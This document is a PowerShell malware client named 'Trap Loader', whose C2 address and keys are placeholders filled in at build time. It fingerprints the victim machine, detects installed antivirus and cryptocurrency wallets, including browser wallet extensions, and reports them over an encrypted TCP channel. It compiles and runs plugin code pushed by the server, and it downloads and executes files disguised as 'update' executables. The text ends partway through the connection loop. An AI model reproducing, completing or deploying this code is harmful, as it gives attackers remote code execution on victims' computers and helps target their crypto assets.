# Trap Loader Stub - TCP Binary Client with AES-256-GCM
# Placeholders are replaced at build time by the Builder

$serverUrl = "{{SERVER_URL}}"
$httpPassword = "{{PASSWORD}}"
$encryptionKey = "{{ENCRYPTION_KEY}}"

# ==================== AES-256-GCM VIA WINDOWS BCRYPT ====================

Add-Type -TypeDefinition @"
using System;
using System.IO;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;

public static class AesGcmHelper
{
    private const int SaltSize = 16;
    private const int NonceSize = 12;
    private const int TagSize = 16;
    private const int KeySize = 32;
    private const int Pbkdf2Iterations = 100000;
    private const int MinEncryptedSize = SaltSize + NonceSize + TagSize + 1;

    [DllImport("bcrypt.dll", CharSet = CharSet.Unicode)]
    private static extern int BCryptOpenAlgorithmProvider(
        out IntPtr phAlgorithm, string pszAlgId, string pszImplementation, uint dwFlags);

    [DllImport("bcrypt.dll")]
    private static extern int BCryptCloseAlgorithmProvider(IntPtr hAlgorithm, uint dwFlags);

    [DllImport("bcrypt.dll", CharSet = CharSet.Unicode)]
    private static extern int BCryptSetProperty(
        IntPtr hObject, string pszProperty, byte[] pbInput, int cbInput, uint dwFlags);

    [DllImport("bcrypt.dll")]
    private static extern int BCryptGenerateSymmetricKey(
        IntPtr hAlgorithm, out IntPtr phKey, IntPtr pbKeyObject, int cbKeyObject,
        byte[] pbSecret, int cbSecret, uint dwFlags);

    [DllImport("bcrypt.dll")]
    private static extern int BCryptDestroyKey(IntPtr hKey);

    [DllImport("bcrypt.dll")]
    private static extern int BCryptEncrypt(
        IntPtr hKey, byte[] pbInput, int cbInput, IntPtr pPaddingInfo,
        byte[] pbIV, int cbIV, byte[] pbOutput, int cbOutput,
        out int pcbResult, uint dwFlags);

    [DllImport("bcrypt.dll")]
    private static extern int BCryptDecrypt(
        IntPtr hKey, byte[] pbInput, int cbInput, IntPtr pPaddingInfo,
        byte[] pbIV, int cbIV, byte[] pbOutput, int cbOutput,
        out int pcbResult, uint dwFlags);

    [StructLayout(LayoutKind.Sequential)]
    private struct BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO
    {
        public int cbSize;
        public int dwInfoVersion;
        public IntPtr pbNonce;
        public int cbNonce;
        public IntPtr pbAuthData;
        public int cbAuthData;
        public IntPtr pbTag;
        public int cbTag;
        public IntPtr pbMacContext;
        public int cbMacContext;
        public int cbAAD;
        public long cbData;
        public int dwFlags;
    }

    private const string BCRYPT_AES_ALGORITHM = "AES";
    private const string BCRYPT_CHAINING_MODE = "ChainingMode";
    private const string BCRYPT_CHAIN_MODE_GCM = "ChainingModeGCM";
    private const int STATUS_SUCCESS = 0;

    private static byte[] DeriveKey(string password, byte[] salt)
    {
        using (var pbkdf2 = new Rfc2898DeriveBytes(password, salt, Pbkdf2Iterations,
            HashAlgorithmName.SHA256))
        {
            return pbkdf2.GetBytes(KeySize);
        }
    }

    private static byte[] GcmEncrypt(byte[] key, byte[] nonce, byte[] plaintext, out byte[] tag)
    {
        IntPtr hAlg = IntPtr.Zero;
        IntPtr hKey = IntPtr.Zero;
        tag = new byte[TagSize];

        try
        {
            int status = BCryptOpenAlgorithmProvider(out hAlg, BCRYPT_AES_ALGORITHM, null, 0);
            if (status != STATUS_SUCCESS)
                throw new CryptographicException("BCryptOpenAlgorithmProvider failed: " + status);

            byte[] chainMode = Encoding.Unicode.GetBytes(BCRYPT_CHAIN_MODE_GCM);
            status = BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE, chainMode, chainMode.Length, 0);
            if (status != STATUS_SUCCESS)
                throw new CryptographicException("BCryptSetProperty failed: " + status);

            status = BCryptGenerateSymmetricKey(hAlg, out hKey, IntPtr.Zero, 0, key, key.Length, 0);
            if (status != STATUS_SUCCESS)
                throw new CryptographicException("BCryptGenerateSymmetricKey failed: " + status);

            byte[] ciphertext = new byte[plaintext.Length];
            byte[] ivCopy = (byte[])nonce.Clone();

            var authInfo = new BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO();
            authInfo.cbSize = Marshal.SizeOf(authInfo);
            authInfo.dwInfoVersion = 1;

            GCHandle nonceHandle = GCHandle.Alloc(ivCopy, GCHandleType.Pinned);
            GCHandle tagHandle = GCHandle.Alloc(tag, GCHandleType.Pinned);

            try
            {
                authInfo.pbNonce = nonceHandle.AddrOfPinnedObject();
                authInfo.cbNonce = ivCopy.Length;
                authInfo.pbTag = tagHandle.AddrOfPinnedObject();
                authInfo.cbTag = TagSize;

                IntPtr pAuthInfo = Marshal.AllocHGlobal(Marshal.SizeOf(authInfo));
                try
                {
                    Marshal.StructureToPtr(authInfo, pAuthInfo, false);

                    int bytesWritten;
                    status = BCryptEncrypt(hKey, plaintext, plaintext.Length, pAuthInfo,
                        null, 0, ciphertext, ciphertext.Length, out bytesWritten, 0);
                    if (status != STATUS_SUCCESS)
                        throw new CryptographicException("BCryptEncrypt failed: " + status);
                }
                finally
                {
                    Marshal.FreeHGlobal(pAuthInfo);
                }
            }
            finally
            {
                nonceHandle.Free();
                tagHandle.Free();
            }

            return ciphertext;
        }
        finally
        {
            if (hKey != IntPtr.Zero) BCryptDestroyKey(hKey);
            if (hAlg != IntPtr.Zero) BCryptCloseAlgorithmProvider(hAlg, 0);
        }
    }

    private static byte[] GcmDecrypt(byte[] key, byte[] nonce, byte[] ciphertext, byte[] tag)
    {
        IntPtr hAlg = IntPtr.Zero;
        IntPtr hKey = IntPtr.Zero;

        try
        {
            int status = BCryptOpenAlgorithmProvider(out hAlg, BCRYPT_AES_ALGORITHM, null, 0);
            if (status != STATUS_SUCCESS)
                throw new CryptographicException("BCryptOpenAlgorithmProvider failed: " + status);

            byte[] chainMode = Encoding.Unicode.GetBytes(BCRYPT_CHAIN_MODE_GCM);
            status = BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE, chainMode, chainMode.Length, 0);
            if (status != STATUS_SUCCESS)
                throw new CryptographicException("BCryptSetProperty failed: " + status);

            status = BCryptGenerateSymmetricKey(hAlg, out hKey, IntPtr.Zero, 0, key, key.Length, 0);
            if (status != STATUS_SUCCESS)
                throw new CryptographicException("BCryptGenerateSymmetricKey failed: " + status);

            byte[] plaintext = new byte[ciphertext.Length];
            byte[] ivCopy = (byte[])nonce.Clone();
            byte[] tagCopy = (byte[])tag.Clone();

            var authInfo = new BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO();
            authInfo.cbSize = Marshal.SizeOf(authInfo);
            authInfo.dwInfoVersion = 1;

            GCHandle nonceHandle = GCHandle.Alloc(ivCopy, GCHandleType.Pinned);
            GCHandle tagHandle = GCHandle.Alloc(tagCopy, GCHandleType.Pinned);

            try
            {
                authInfo.pbNonce = nonceHandle.AddrOfPinnedObject();
                authInfo.cbNonce = ivCopy.Length;
                authInfo.pbTag = tagHandle.AddrOfPinnedObject();
                authInfo.cbTag = tagCopy.Length;

                IntPtr pAuthInfo = Marshal.AllocHGlobal(Marshal.SizeOf(authInfo));
                try
                {
                    Marshal.StructureToPtr(authInfo, pAuthInfo, false);

                    int bytesWritten;
                    status = BCryptDecrypt(hKey, ciphertext, ciphertext.Length, pAuthInfo,
                        null, 0, plaintext, plaintext.Length, out bytesWritten, 0);
                    if (status != STATUS_SUCCESS)
                        throw new CryptographicException("GCM tag verification failed");
                }
                finally
                {
                    Marshal.FreeHGlobal(pAuthInfo);
                }
            }
            finally
            {
                nonceHandle.Free();
                tagHandle.Free();
            }

            return plaintext;
        }
        finally
        {
            if (hKey != IntPtr.Zero) BCryptDestroyKey(hKey);
            if (hAlg != IntPtr.Zero) BCryptCloseAlgorithmProvider(hAlg, 0);
        }
    }

    public static byte[] Encrypt(string plainText, string password)
    {
        byte[] plainBytes = Encoding.UTF8.GetBytes(plainText);
        return EncryptBytes(plainBytes, password);
    }

    public static byte[] EncryptBytes(byte[] plainBytes, string password)
    {
        byte[] salt = new byte[SaltSize];
        byte[] nonce = new byte[NonceSize];

        using (var rng = RandomNumberGenerator.Create())
        {
            rng.GetBytes(salt);
            rng.GetBytes(nonce);
        }

        byte[] key = DeriveKey(password, salt);
        byte[] tag;
        byte[] cipherText = GcmEncrypt(key, nonce, plainBytes, out tag);

        byte[] result = new byte[SaltSize + NonceSize + TagSize + cipherText.Length];
        int offset = 0;

        Buffer.BlockCopy(salt, 0, result, offset, SaltSize);
        offset += SaltSize;
        Buffer.BlockCopy(nonce, 0, result, offset, NonceSize);
        offset += NonceSize;
        Buffer.BlockCopy(tag, 0, result, offset, TagSize);
        offset += TagSize;
        Buffer.BlockCopy(cipherText, 0, result, offset, cipherText.Length);

        return result;
    }

    public static string DecryptToString(byte[] encryptedBytes, string password)
    {
        byte[] plainBytes = DecryptToBytes(encryptedBytes, password);
        if (plainBytes == null) return null;
        return Encoding.UTF8.GetString(plainBytes);
    }

    public static byte[] DecryptToBytes(byte[] encryptedBytes, string password)
    {
        if (encryptedBytes == null || encryptedBytes.Length < MinEncryptedSize)
            return null;

        int offset = 0;

        byte[] salt = new byte[SaltSize];
        Buffer.BlockCopy(encryptedBytes, offset, salt, 0, SaltSize);
        offset += SaltSize;

        byte[] nonce = new byte[NonceSize];
        Buffer.BlockCopy(encryptedBytes, offset, nonce, 0, NonceSize);
        offset += NonceSize;

        byte[] tag = new byte[TagSize];
        Buffer.BlockCopy(encryptedBytes, offset, tag, 0, TagSize);
        offset += TagSize;

        int cipherLen = encryptedBytes.Length - offset;
        byte[] cipherText = new byte[cipherLen];
        Buffer.BlockCopy(encryptedBytes, offset, cipherText, 0, cipherLen);

        byte[] key = DeriveKey(password, salt);

        try
        {
            return GcmDecrypt(key, nonce, cipherText, tag);
        }
        catch (CryptographicException)
        {
            return null;
        }
    }
}
"@ -ReferencedAssemblies @('System.dll') -ErrorAction Stop

# ==================== ENCRYPTION WRAPPERS ====================

function Encrypt-Payload {
    param([string]$PlainText, [string]$Key)
    return [AesGcmHelper]::Encrypt($PlainText, $Key)
}

function Decrypt-Bytes {
    param([byte[]]$CipherBytes, [string]$Key)
    return [AesGcmHelper]::DecryptToBytes($CipherBytes, $Key)
}

# ==================== SYSTEM INFO ====================

function Get-MachineFingerprint {
    try {
        $cpuId = Get-CimInstance -ClassName Win32_Processor -ErrorAction Stop |
            Select-Object -First 1 -ExpandProperty ProcessorId
        $biosId = Get-CimInstance -ClassName Win32_BIOS -ErrorAction Stop |
            Select-Object -ExpandProperty SerialNumber
        $mainboardId = Get-CimInstance -ClassName Win32_BaseBoard -ErrorAction Stop |
            Select-Object -ExpandProperty SerialNumber

        $fingerprint = "$cpuId-$biosId-$mainboardId"
        $sha = [System.Security.Cryptography.SHA256]::Create()
        $hashBytes = $sha.ComputeHash([Text.Encoding]::UTF8.GetBytes($fingerprint))
        $sha.Dispose()
        return [BitConverter]::ToString($hashBytes).Replace("-", "")
    }
    catch {
        return [Guid]::NewGuid().ToString().Replace("-", "").ToUpper()
    }
}

function Get-WindowsVersion {
    try {
        $os = [System.Environment]::OSVersion.Version
        switch ($os.Major) {
            10 {
                if ($os.Build -ge 22000) { return "Windows 11" }
                return "Windows 10"
            }
            6 {
                switch ($os.Minor) {
                    3 { return "Windows 8.1" }
                    2 { return "Windows 8" }
                    1 { return "Windows 7" }
                    0 { return "Windows Vista" }
                }
            }
            default { return "Windows $($os.Major).$($os.Minor)" }
        }
    }
    catch { return "Unknown" }
}

function Get-SpecificAntivirus {
    $avProducts = @()
    $avPaths = @{
        "Norton"           = "SOFTWARE\Norton"
        "McAfee"           = "SOFTWARE\McAfee"
        "Kaspersky"        = "SOFTWARE\Kaspersky Lab"
        "Bitdefender"      = "SOFTWARE\Bitdefender"
        "Avast"            = "SOFTWARE\AVAST Software"
        "AVG"              = "SOFTWARE\AVG Technologies"
        "Windows Defender" = "SOFTWARE\Microsoft\Windows Defender"
        "ESET"             = "SOFTWARE\ESET"
        "Malwarebytes"     = "SOFTWARE\Malwarebytes"
        "Trend Micro"      = "SOFTWARE\TrendMicro"
        "Sophos"           = "SOFTWARE\Sophos"
        "Webroot"          = "SOFTWARE\WRData"
    }
    foreach ($av in $avPaths.GetEnumerator()) {
        try {
            if (Get-Item -Path "HKLM:\$($av.Value)" -ErrorAction SilentlyContinue) {
                $avProducts += $av.Key
            }
        } catch { }
    }
    if ($avProducts.Count -eq 0) { return "None" }
    return ($avProducts | Select-Object -Unique) -join ", "
}

function Get-WalletNames {
    $walletNames = @()

    $walletPaths = @{
        "Armory"       = "$env:APPDATA\Armory"
        "Atomic"       = "$env:APPDATA\Atomic\Local Storage\leveldb"
        "Bitcoin"      = "$env:APPDATA\Bitcoin\wallets"
        "Bytecoin"     = "$env:APPDATA\bytecoin"
        "Coinomi"      = "$env:LOCALAPPDATA\Coinomi\Coinomi\wallets"
        "Dash"         = "$env:APPDATA\DashCore\wallets"
        "Electrum"     = "$env:APPDATA\Electrum\wallets"
        "Ethereum"     = "$env:APPDATA\Ethereum\keystore"
        "Exodus"       = "$env:APPDATA\Exodus\exodus.wallet"
        "Guarda"       = "$env:APPDATA\Guarda\Local Storage\leveldb"
        "Jaxx"         = "$env:APPDATA\com.liberty.jaxx\IndexedDB"
        "Litecoin"     = "$env:APPDATA\Litecoin\wallets"
        "Monero GUI"   = "$env:USERPROFILE\Documents\Monero\wallets"
        "WalletWasabi" = "$env:APPDATA\WalletWasabi\Client\Wallets"
        "Ledger Live"  = "$env:APPDATA\Ledger Live"
        "Trezor Suite" = "$env:APPDATA\@trezor\suite-desktop"
    }

    foreach ($wallet in $walletPaths.GetEnumerator()) {
        try {
            if (Test-Path $wallet.Value) {
                $walletNames += $wallet.Key
            }
        } catch { }
    }

    $browserPaths = @{
        "Brave"    = "$env:LOCALAPPDATA\BraveSoftware\Brave-Browser\User Data"
        "Chrome"   = "$env:LOCALAPPDATA\Google\Chrome\User Data"
        "Edge"     = "$env:LOCALAPPDATA\Microsoft\Edge\User Data"
        "Opera"    = "$env:APPDATA\Opera Software\Opera Stable"
        "OperaGX"  = "$env:APPDATA\Opera Software\Opera GX Stable"
        "Vivaldi"  = "$env:LOCALAPPDATA\Vivaldi\User Data"
        "Chromium" = "$env:LOCALAPPDATA\Chromium\User Data"
    }

    $walletDirs = @{
        "nkbihfbeogaeaoehlefnkodbefgpgknn" = "Metamask"
        "ejbalbakoplchlghecdalmeeeajnimhm" = "Metamask2"
        "odbfpeeihdkbihmopkbjmoonfanlbfcl" = "Coinbase"
        "hifafgmccdpekplomjjkcfgodnhcellj" = "Crypto.com"
        "bfnaelmomeimhlpmgjnjophhpkkoljpa" = "Phantom"
        "ibnejdfjmmkpcnlpebklmnkoeoihofec" = "TronLink"
        "egjidjbpglichdcondbcbdnbeeppgdph" = "Trust Wallet"
        "dmkamcknogkgcdfhhbddcghachkejeap" = "Keplr"
        "fhbohimaelbohpjbbldcngcnapndodjp" = "Binance Chain"
        "afbcbjpbpfadlkmhmclhkeeodmamcflc" = "MathWallet"
        "aholpfdialjgjfhomihkjbmgjidlcdno" = "ExodusWeb3"
        "kkpllkodjeloidieedojogacfhpaihoh" = "Enkrypt"
        "mcbigmjiafegjnnogedioegffbooigli" = "Ethos Sui"
        "hpglfhgfnhbgpjdenjgmdgoeiappafln" = "Guarda Wallet"
        "mcohilncbfahbmgdjkbpemcciiolgcge" = "OKX"
        "jnmbobjmhlngoefaiojfljckilhhlhcj" = "OneKey"
        "fnjhmkhhmkbjkkabndcnnogagogbneec" = "Ronin"
        "lgmpcpglpngdoalbgeoldeajfclnhafa" = "SafePal"
        "mfgccjchihfkkindfppnaooecgfneiii" = "TokenPocket"
        "nphplpgoakhhjchkkhmiggakijnkhfnd" = "Ton"
        "amkmjjmmflddogmhpjloimipbofnfjih" = "Wombat"
        "dlcobpjiigpikoobohmabehhmhfoodbb" = "Argent X"
        "jiidiaalihmmhddjgbnbgdfflelocpak" = "BitKeep"
        "bopcbmipnjdcdfflfgjdgdjejmgpoaab" = "BlockWallet"
        "heamnjbnflcikcggoiplibfommfbkjpj" = "Zeal"
    }

    foreach ($browser in $browserPaths.GetEnumerator()) {
        try {
            if (Test-Path $browser.Value) {
                foreach ($wd in $walletDirs.GetEnumerator()) {
                    $extPath = Join-Path $browser.Value "Default\Local Extension Settings\$($wd.Key)"
                    $extPath2 = Join-Path $browser.Value "Local Extension Settings\$($wd.Key)"
                    if ((Test-Path $extPath) -or (Test-Path $extPath2)) {
                        $walletNames += "$($wd.Value)"
                    }
                }
            }
        } catch { }
    }

    if ($walletNames.Count -eq 0) { return "None" }
    return ($walletNames | Select-Object -Unique) -join ", "
}

function Get-SystemInfo {
    $osVer = Get-WindowsVersion
    $machine = [System.Environment]::UserName
    $av = Get-SpecificAntivirus
    $wallets = Get-WalletNames
    return "$osVer;$machine;$av;$wallets"
}

# ==================== TCP BINARY PROTOCOL ====================

$MSG_AUTH          = [byte]0x01
$MSG_HEARTBEAT     = [byte]0x02
$MSG_CLIENT_INFO   = [byte]0x03
$MSG_PLUGIN_DATA   = [byte]0x10
$MSG_PLUGIN_BATCH  = [byte]0x11

$MSG_AUTH_OK       = [byte]0x81
$MSG_AUTH_FAIL     = [byte]0x82
$MSG_HEARTBEAT_ACK = [byte]0x83
$MSG_PLUGIN_CMD    = [byte]0x90
$MSG_FILE_TRANSFER = [byte]0x91
$MSG_DISCONNECT    = [byte]0xFF

function Write-TcpMessage {
    param(
        [System.IO.Stream]$Stream,
        [byte]$MsgType,
        [byte[]]$Payload
    )

    $payloadLen = if ($Payload) { $Payload.Length } else { 0 }
    $totalLen = 1 + $payloadLen

    $packet = New-Object byte[] (4 + $totalLen)
    $packet[0] = [byte]($totalLen -band 0xFF)
    $packet[1] = [byte](($totalLen -shr 8) -band 0xFF)
    $packet[2] = [byte](($totalLen -shr 16) -band 0xFF)
    $packet[3] = [byte](($totalLen -shr 24) -band 0xFF)
    $packet[4] = $MsgType

    if ($Payload -and $Payload.Length -gt 0) {
        [Array]::Copy($Payload, 0, $packet, 5, $Payload.Length)
    }

    $Stream.Write($packet, 0, $packet.Length)
    $Stream.Flush()
}

function Read-TcpExact {
    param(
        [System.IO.Stream]$Stream,
        [int]$Count
    )

    $buffer = New-Object byte[] $Count
    $totalRead = 0

    while ($totalRead -lt $Count) {
        $read = $Stream.Read($buffer, $totalRead, $Count - $totalRead)
        if ($read -le 0) { return $null }
        $totalRead += $read
    }

    return $buffer
}

function Read-TcpMessage {
    param([System.IO.Stream]$Stream)

    $lenBuf = Read-TcpExact -Stream $Stream -Count 4
    if ($null -eq $lenBuf) { return $null }

    $totalLen = [int]$lenBuf[0] -bor
                ([int]$lenBuf[1] -shl 8) -bor
                ([int]$lenBuf[2] -shl 16) -bor
                ([int]$lenBuf[3] -shl 24)

    if ($totalLen -le 0 -or $totalLen -gt 5242880) {
        return $null
    }

    $msgBuf = Read-TcpExact -Stream $Stream -Count $totalLen
    if ($null -eq $msgBuf) { return $null }

    $msgType = $msgBuf[0]
    $payload = $null

    if ($totalLen -gt 1) {
        $payload = New-Object byte[] ($totalLen - 1)
        [Array]::Copy($msgBuf, 1, $payload, 0, $totalLen - 1)
    }

    return @{ Type = $msgType; Payload = $payload }
}

# ==================== PLUGIN ENGINE ====================

Add-Type -TypeDefinition @"
using System;
using System.Collections.Concurrent;
using System.IO;
using System.Threading;
using System.Threading.Tasks;

public class PluginRunner
{
    public ConcurrentQueue<byte[]> InQueue  = new ConcurrentQueue<byte[]>();
    public ConcurrentQueue<byte[]> OutQueue = new ConcurrentQueue<byte[]>();
    public CancellationTokenSource Cts      = new CancellationTokenSource();
    public Thread WorkerThread;
    public Exception LastError;
    public volatile bool Running;

    public void Start(object pluginInstance)
    {
        Running = true;
        WorkerThread = new Thread(() =>
        {
            try
            {
                Func<byte[], Task> sendFunc = (data) =>
                {
                    OutQueue.Enqueue(data);
                    return Task.CompletedTask;
                };

                Func<Task<byte[]>> receiveFunc = () =>
                {
                    while (!Cts.IsCancellationRequested)
                    {
                        byte[] item;
                        if (InQueue.TryDequeue(out item))
                            return Task.FromResult(item);
                        Thread.Sleep(5);
                    }
                    return Task.FromResult<byte[]>(null);
                };

                var runMethod = pluginInstance.GetType().GetMethod("Run");
                if (runMethod == null)
                {
                    LastError = new Exception("Plugin has no Run method");
                    return;
                }

                var task = (Task)runMethod.Invoke(pluginInstance, new object[] { sendFunc, receiveFunc });
                task.GetAwaiter().GetResult();
            }
            catch (Exception ex) { LastError = ex; }
            finally { Running = false; }
        });
        WorkerThread.IsBackground = true;
        WorkerThread.Name = "PluginWorker";
        WorkerThread.Start();
    }

    public void Stop()
    {
        try { Cts.Cancel(); } catch { }
        try { if (WorkerThread != null && WorkerThread.IsAlive) WorkerThread.Join(3000); } catch { }
        Running = false;
    }

    public int GetOutQueueCount() { return OutQueue.Count; }

    public void ClearOutQueue()
    {
        byte[] discard;
        while (OutQueue.TryDequeue(out discard)) { }
    }
}
"@ -ReferencedAssemblies @('System.dll') -ErrorAction Stop

$global:ActivePlugins = @{}

# ==================== PLUGIN FUNCTIONS ====================

function Invoke-PluginCommand {
    param([string]$PluginId, [int]$CmdType, [byte[]]$Data)

    switch ($CmdType) {
        0 {
            Write-Host "$(Get-Date -Format 'HH:mm:ss') - [Plugin] Loading: $PluginId" -ForegroundColor Magenta
            if ($global:ActivePlugins.ContainsKey($PluginId)) { Stop-Plugin -PluginId $PluginId }
            try {
                $code = [Text.Encoding]::UTF8.GetString($Data)

                # Build referenced assemblies list - include System.Management for process manager
                $refs = @(
                    'System.dll',
                    'System.Drawing.dll',
                    'System.Windows.Forms.dll',
                    'System.Management.dll'
                )

                Add-Type -TypeDefinition $code -ReferencedAssemblies $refs -ErrorAction Stop
                $pluginInstance = New-Object "ClientPlugin_$($PluginId).Main"
                $runner = New-Object PluginRunner
                $runner.Start($pluginInstance)
                $global:ActivePlugins[$PluginId] = @{ Runner = $runner }
                Write-Host "$(Get-Date -Format 'HH:mm:ss') - [Plugin] Started: $PluginId" -ForegroundColor Green
            } catch {
                Write-Host "$(Get-Date -Format 'HH:mm:ss') - [Plugin] Load error: $($_.Exception.Message)" -ForegroundColor Red
                $global:ActivePlugins.Remove($PluginId)
            }
        }
        1 {
            if ($global:ActivePlugins.ContainsKey($PluginId)) {
                $global:ActivePlugins[$PluginId].Runner.InQueue.Enqueue($Data)
            }
        }
        2 {
            if ($global:ActivePlugins.ContainsKey($PluginId)) { Stop-Plugin -PluginId $PluginId }
        }
    }
}

function Stop-Plugin {
    param([string]$PluginId)
    if ($global:ActivePlugins.ContainsKey($PluginId)) {
        try { $global:ActivePlugins[$PluginId].Runner.Stop() } catch { }
        $global:ActivePlugins.Remove($PluginId)
        Write-Host "$(Get-Date -Format 'HH:mm:ss') - [Plugin] Stopped: $PluginId" -ForegroundColor Yellow
    }
}

function Stop-AllPlugins {
    foreach ($plugId in @($global:ActivePlugins.Keys)) { Stop-Plugin -PluginId $plugId }
}

function Cleanup-DeadPlugins {
    foreach ($plugId in @($global:ActivePlugins.Keys)) {
        $pe = $global:ActivePlugins[$plugId]
        if ($pe -and $pe.Runner) {
            if ($pe.Runner.LastError) {
                Write-Host "$(Get-Date -Format 'HH:mm:ss') - [Plugin] $plugId died: $($pe.Runner.LastError.Message)" -ForegroundColor Red
                $pe.Runner.Stop()
                $global:ActivePlugins.Remove($plugId)
            }
            elseif (-not $pe.Runner.Running -and $pe.Runner.WorkerThread -and -not $pe.Runner.WorkerThread.IsAlive) {
                Write-Host "$(Get-Date -Format 'HH:mm:ss') - [Plugin] $plugId exited" -ForegroundColor Yellow
                $global:ActivePlugins.Remove($plugId)
            }
        }
    }
}

function Get-HasPluginOutput {
    foreach ($plugId in @($global:ActivePlugins.Keys)) {
        $pe = $global:ActivePlugins[$plugId]
        if ($pe -and $pe.Runner -and $pe.Runner.GetOutQueueCount() -gt 0) {
            return $true
        }
    }
    return $false
}

function Send-AllPluginOutput {
    param([System.IO.Stream]$Stream)

    $anySent = $false

    foreach ($plugId in @($global:ActivePlugins.Keys)) {
        $pluginEntry = $global:ActivePlugins[$plugId]
        if ($null -eq $pluginEntry -or $null -eq $pluginEntry.Runner) { continue }

        $queueCount = $pluginEntry.Runner.GetOutQueueCount()
        if ($queueCount -le 0) { continue }

        if ($queueCount -gt 100) {
            Write-Host "$(Get-Date -Format 'HH:mm:ss') - [Plugin] $plugId backlog ($queueCount), clearing" -ForegroundColor Yellow
            $pluginEntry.Runner.ClearOutQueue()
            continue
        }

        $idBytes = [Text.Encoding]::UTF8.GetBytes($plugId)

        $sent = 0
        while ($sent -lt 50) {
            $item = $null
            $dequeued = $pluginEntry.Runner.OutQueue.TryDequeue([ref]$item)
            if (-not $dequeued -or $null -eq $item) { break }

            $payload = New-Object byte[] (1 + $idBytes.Length + $item.Length)
            $payload[0] = [byte]$idBytes.Length
            [Array]::Copy($idBytes, 0, $payload, 1, $idBytes.Length)
            [Array]::Copy($item, 0, $payload, 1 + $idBytes.Length, $item.Length)

            Write-TcpMessage -Stream $Stream -MsgType $MSG_PLUGIN_DATA -Payload $payload
            $sent++
            $anySent = $true
        }
    }

    return $anySent
}

# ==================== MESSAGE HANDLERS ====================

function Handle-PluginCmd {
    param([byte[]]$Payload)
    if ($null -eq $Payload -or $Payload.Length -lt 2) { return }
    $idLen = [int]$Payload[0]
    if ($idLen -le 0 -or ($idLen + 1) -gt $Payload.Length) { return }
    $pluginId = [Text.Encoding]::UTF8.GetString($Payload, 1, $idLen)
    $dataOffset = 1 + $idLen
    $dataLen = $Payload.Length - $dataOffset
    $data = $null
    if ($dataLen -gt 0) {
        $data = New-Object byte[] $dataLen
        [Array]::Copy($Payload, $dataOffset, $data, 0, $dataLen)
    }
    if ($null -ne $data -and $data.Length -ge 1) {
        $cmdType = [int]$data[0]
        $cmdData = $null
        if ($data.Length -gt 1) {
            $cmdData = New-Object byte[] ($data.Length - 1)
            [Array]::Copy($data, 1, $cmdData, 0, $cmdData.Length)
        }
        Invoke-PluginCommand -PluginId $pluginId -CmdType $cmdType -Data $cmdData
    }
}

function Handle-FileTransfer {
    param([byte[]]$Payload)
    if ($null -eq $Payload -or $Payload.Length -lt 2) { return }
    $hashLen = [int]$Payload[0]
    $expectedHash = $null
    if ($hashLen -gt 0 -and ($hashLen + 1) -le $Payload.Length) {
        $expectedHash = [Text.Encoding]::UTF8.GetString($Payload, 1, $hashLen)
    }
    $encOffset = 1 + $hashLen
    if ($encOffset -ge $Payload.Length) { return }
    $encData = New-Object byte[] ($Payload.Length - $encOffset)
    [Array]::Copy($Payload, $encOffset, $encData, 0, $encData.Length)

    $decryptedBytes = Decrypt-Bytes -CipherBytes $encData -Key $encryptionKey
    if ($null -eq $decryptedBytes -or $decryptedBytes.Length -eq 0) {
        Write-Host "$(Get-Date -Format 'HH:mm:ss') - File decryption failed" -ForegroundColor Red
        return
    }

    Write-Host "$(Get-Date -Format 'HH:mm:ss') - File received: $($decryptedBytes.Length) bytes" -ForegroundColor Green

    if ($expectedHash) {
        $sha = [System.Security.Cryptography.SHA256]::Create()
        $actualHash = [BitConverter]::ToString($sha.ComputeHash($decryptedBytes)).Replace("-", "").ToLower()
        $sha.Dispose()
        if ($actualHash -ne $expectedHash) {
            Write-Host "$(Get-Date -Format 'HH:mm:ss') - HASH MISMATCH! Rejecting." -ForegroundColor Red
            return
        }
        Write-Host "$(Get-Date -Format 'HH:mm:ss') - Hash verified OK" -ForegroundColor Green
    }

    $suffix = [Guid]::NewGuid().ToString().Substring(0, 8)
    if ($decryptedBytes.Length -gt 1 -and $decryptedBytes[0] -eq 0x4D -and $decryptedBytes[1] -eq 0x5A) {
        $fileName = "update-$suffix.exe"
    } elseif ($decryptedBytes.Length -gt 1 -and $decryptedBytes[0] -eq 0x50 -and $decryptedBytes[1] -eq 0x4B) {
        $fileName = "update-$suffix.zip"
    } else {
        $fileName = "update-$suffix.bat"
    }

    $filePath = [IO.Path]::Combine([IO.Path]::GetTempPath(), $fileName)
    try {
        [IO.File]::WriteAllBytes($filePath, $decryptedBytes)
        Write-Host "$(Get-Date -Format 'HH:mm:ss') - Saved: $filePath" -ForegroundColor Green
        Start-Process -FilePath $filePath -ErrorAction Stop
        Write-Host "$(Get-Date -Format 'HH:mm:ss') - Executed successfully" -ForegroundColor Green
    } catch {
        Write-Host "$(Get-Date -Format 'HH:mm:ss') - Execute error: $($_.Exception.Message)" -ForegroundColor Red
    }
}

# ==================== PARSE SERVER ADDRESS ====================

function Parse-ServerAddress {
    param([string]$Address)
    $result = @{ Host = ""; Port = 443 }
    $addr = $Address.Trim() -replace '^https?://', '' -replace '/.*$', ''
    if ($addr -match '^(.+):(\d+)$') {
        $result.Host = $Matches[1]
        $result.Port = [int]$Matches[2]
    } else {
        $result.Host = $addr
    }
    return $result
}

# ==================== MAIN ====================

$machineId = Get-MachineFingerprint
$systemInfo = Get-SystemInfo

$parsed = Parse-ServerAddress -Address $serverUrl
$sHost = $parsed.Host
$sPort = $parsed.Port

if ([string]::IsNullOrWhiteSpace($sHost)) {
    Write-Host "Invalid server address: $serverUrl" -ForegroundColor Red
    Start-Sleep -Seconds 10
    exit 1
}

Write-Host "========================================" -ForegroundColor Cyan
Write-Host " Trap Loader Client (TCP)" -ForegroundColor Cyan
Write-Host "========================================" -ForegroundColor Cyan
Write-Host " Server  : $sHost`:$sPort" -ForegroundColor Gray
Write-Host " Machine : $machineId" -ForegroundColor Gray
Write-Host " Crypto  : AES-256-GCM (BCrypt)" -ForegroundColor Gray
Write-Host "========================================" -ForegroundColor Cyan
Write-Host ""

$heartbeatInterval = 5

# ==================== CONNECTION LOOP ====================

try {
while ($true) {
    $tcpClient = $null
    $stream = $null

    try {
        Write-Host "$(Get-Date -Format 'HH:mm:ss') - Connecting to $sHost`:$sPort..." -ForegroundColor Yellow

        $tcpClient = New-Object System.Net.Sockets.TcpClient
        $tcpClient.NoDelay = $true
